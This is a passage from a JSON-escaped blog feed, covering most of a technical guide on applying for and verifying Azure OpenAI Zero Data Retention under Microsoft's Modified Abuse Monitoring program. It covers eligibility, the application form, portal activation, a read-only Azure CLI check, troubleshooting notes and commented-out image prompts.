style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eZDR only removes \u003cem\u003eMicrosoft\u0026rsquo;s\u003c/em\u003e logs. If you have configured Azure Monitor Diagnostic Settings to send logs to your own Log Analytics workspace, those logs remain active. You keep audit visibility while ensuring Microsoft holds no copy.\u003c/p\u003e\n\u003ch3 id=\"shared-responsibility-zdr-vs-customer-logs\"\u003eShared Responsibility: ZDR vs. Customer Logs\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 624 121\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 280,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,16 L 608,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,96 L 608,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,16 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,16 L 376,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,16 L 608,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='36' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"3-eligibility-requirements\"\u003e3. Eligibility Requirements\u003c/h2\u003e\n\u003cp\u003eMicrosoft strictly gates the ZDR program based on agreement type and business justification.\u003c/p\u003e\n\u003ch3 id=\"agreement-gating\"\u003eAgreement Gating\u003c/h3\u003e\n\u003cp\u003eStandard \u003cstrong\u003ePay-As-You-Go (PAYG)\u003c/strong\u003e subscriptions are not eligible. To apply for ZDR, your subscription must be under one of the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eEnterprise Agreement (EA)\u003c/li\u003e\n\u003cli\u003eMicrosoft Customer Agreement — Enterprise (MCA-E)\u003c/li\u003e\n\u003cli\u003eAzure Government (Government-specific provisions)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf you are on PAYG, you need to transition to an enterprise agreement before you can apply. That process has its own timeline, so factor it in early.\u003c/p\u003e\n\u003ch3 id=\"use-case-justification\"\u003eUse Case Justification\u003c/h3\u003e\n\u003cp\u003e\u0026ldquo;We prefer privacy\u0026rdquo; is not a sufficient justification. Microsoft requires a documented reason tied to a recognized compliance framework or a contractual obligation. Recommended framing includes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u0026ldquo;GDPR Article 28 compliance requiring zero data processing retention.\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;SOC 2 Type II audit requirement CC6.7 for data transmission privacy.\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;Contractual data processing agreement (DPA) prohibiting third-party data retention.\u0026rdquo;\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"4-the-limited-access-review-application\"\u003e4. The Limited Access Review Application\u003c/h2\u003e\n\u003cp\u003eThe application is submitted via the \u003cstrong\u003eAzure OpenAI Limited Access\u003c/strong\u003e intake form at \u003ca href=\"https://aka.ms/oai/modifiedaccess\"\u003eaka.ms/oai/modifiedaccess\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"completion-tips\"\u003eCompletion Tips\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eIdentifiers:\u003c/strong\u003e You need your Azure Subscription ID and Tenant ID.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAccuracy:\u003c/strong\u003e Answering \u0026ldquo;Yes\u0026rdquo; to whether the workload processes personal data or trade secrets is often a prerequisite for a successful justification.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTimeline:\u003c/strong\u003e Approval typically takes 5–10 business days, though it can stretch to 4 weeks during peak periods.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eApproval is granted per \u003cstrong\u003eSubscription ID\u003c/strong\u003e. If you have multiple subscriptions, you must apply for each one individually. Getting approved for one does not automatically cover the others in the same tenant. This catches teams off guard when they spin up a new subscription after an initial approval.\u003c/p\u003e\n\u003ch2 id=\"5-technical-verification\"\u003e5. Technical Verification\u003c/h2\u003e\n\u003cp\u003eAfter receiving the approval email, you still need to configure it in the portal. The approval email does not activate ZDR — it only unlocks the option. Navigate to \u003cstrong\u003eAzure AI Foundry (Studio)\u003c/strong\u003e -\u0026gt; \u003cstrong\u003eContent Filters\u003c/strong\u003e.\u003c/p\u003e\n\u003ch3 id=\"portal-activation\"\u003ePortal Activation\u003c/h3\u003e\n\u003cp\u003eCreate or edit a custom content filter. If approved, the \u0026ldquo;Abuse monitoring\u0026rdquo; checkbox will be available to uncheck. Disabling this checkbox activates ZDR for any deployment using that specific content filter.\u003c/p\u003e\n\u003ch3 id=\"cliarm-verification\"\u003eCLI/ARM Verification\u003c/h3\u003e\n\u003cp\u003eVerify the ZDR status programmatically by checking the \u003ccode\u003eContentLogging\u003c/code\u003e capability on the Cognitive Services resource.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Verify ContentLogging capability via Azure CLI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz cognitiveservices account show -n \u0026lt;resource-name\u0026gt; -g \u0026lt;resource-group\u0026gt; \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --query \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;properties.capabilities[?name==\u0026#39;ContentLogging\u0026#39;]\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expected: [{\u0026#34;name\u0026#34;: \u0026#34;ContentLogging\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;false\u0026#34;}]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf the value is \u003ccode\u003efalse\u003c/code\u003e, the resource is successfully configured for Zero Data Retention. Do not skip this check — the portal confirmation alone is not sufficient evidence for an audit.\u003c/p\u003e\n\u003ch2 id=\"6-edge-cases-and-troubleshooting\"\u003e6. Edge Cases and Troubleshooting\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSubscription Migrations:\u003c/strong\u003e If you move an OpenAI resource to a new subscription, ZDR does \u003cstrong\u003enot\u003c/strong\u003e follow. You must re-apply for the new subscription ID.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInfrastructure as Code (IaC):\u003c/strong\u003e In your Bicep templates, include the \u003ccode\u003eContentLogging: false\u003c/code\u003e capability if the API version supports it. Be aware that redeploying without this property can sometimes reset the resource to the default state.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eToggle Missing:\u003c/strong\u003e If you have the approval email but the toggle is missing in the portal, wait 24–48 hours for the entitlement to \u0026ldquo;hydrate\u0026rdquo; across the Azure backbone.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eRetention is the Default:\u003c/strong\u003e Azure OpenAI retains prompts for 30 days unless you explicitly opt out via the Modified Abuse Monitoring program.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEligibility is Strict:\u003c/strong\u003e Only Managed Customers (EA/MCA-E) are eligible. PAYG accounts must transition to an enterprise agreement before applying.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eApplication is the Bottleneck:\u003c/strong\u003e Submit the ZDR form as early as possible. The approval process is a hard dependency for production compliance.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVerification is Mandatory:\u003c/strong\u003e Do not assume approval equals activation. You must disable the toggle in \u003cstrong\u003eAzure AI Foundry\u003c/strong\u003e and verify via CLI properties.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/data-privacy\"\u003eMicrosoft Learn: Data, privacy, and security for Azure OpenAI\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/abuse-monitoring\"\u003eMicrosoft Learn: Abuse Monitoring in Azure OpenAI\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://aka.ms/oai/modifiedaccess\"\u003eLimited Access Application Form (Modified Access)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/data-privacy-faq\"\u003eAzure OpenAI Service Data Privacy FAQ\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A high-contrast dark environment showing a data stream entering from the left as dense glowing particles. The stream passes through a central processing chamber — a bright, clean enclosed cylinder — where it is briefly illuminated as it passes through. On the right side of the chamber, the stream exits as empty, clear space: no particles, no residue, no trace. The contrast between the dense incoming stream and the empty outgoing path visualizes in-memory processing with zero persistence. Below the chamber, a path that once led to a storage bank is sealed shut with an X-shaped barrier. Deep black background, cool white and teal accent colors, no text, no UI.\n\n**Prompt 2 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. A Blender-style isometric 3D illustration split cleanly down the center into two zones. The left zone — warm neutral tones — is labeled conceptually by its appearance as \"your space\": a compact server node with a small monitoring dashboard floating above it. The right zone — darker and more distant in the composition — shows an empty concrete platform with a cracked or absent data vault outline, indicating nothing is stored there. Between them, a translucent barrier with a glowing zero symbol in relief acts as the boundary. No text, no labels, cool blue and charcoal palette with an amber accent on the boundary barrier.\n\n**Prompt 3 — Minimalist Vector / Flat**\nWide landscape format, 16:9 aspect ratio. A flat vector illustration using deep navy, white, and a single accent of teal. The central composition shows an abstract data cycle represented as a thin horizontal line — a prompt travels from the left as a glowing dot, passes through a circular processing ring in the center, and the dot vanishes completely on the right side of the ring, leaving a clean empty line. Below the processing ring, a database cylinder silhouette is shown struck through with a diagonal line. The empty right side of the line is emphasized with a gentle radial glow suggesting clean, empty space. No gradients except within the glow, no text, no labels.\n\n**Prompt 4 — Photorealistic / Cinematic**\nWide landscape format, 16:9 aspect ratio. A cinematic close-up of water droplets falling onto a heated dark metal surface. The droplets make brief contact, sizzle, and evaporate instantly — leaving no trace on the surface. The metal surface is clean, dry, and reflective everywhere except the point of immediate contact. Dramatic underlighting with cool teal tones in the background and warm amber at the contact point. Shallow depth of field with bokeh in the background. The composition captures the physical metaphor of data processed in memory and immediately discarded: present for an instant, then completely gone. No text, no UI.\n--\u003e\n","description":"Eligibility criteria, application steps, and technical verification for Azure OpenAI Zero Data Retention via the Modified Abuse Monitoring program.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/mastering-zero-data-retention-modified-abuse-monitoring/","title":"Mastering Zero Data Retention: The Guide to Modified Abuse Monitoring in Azure OpenAI"},{"content":"\u003cp\u003eIt starts with a simple 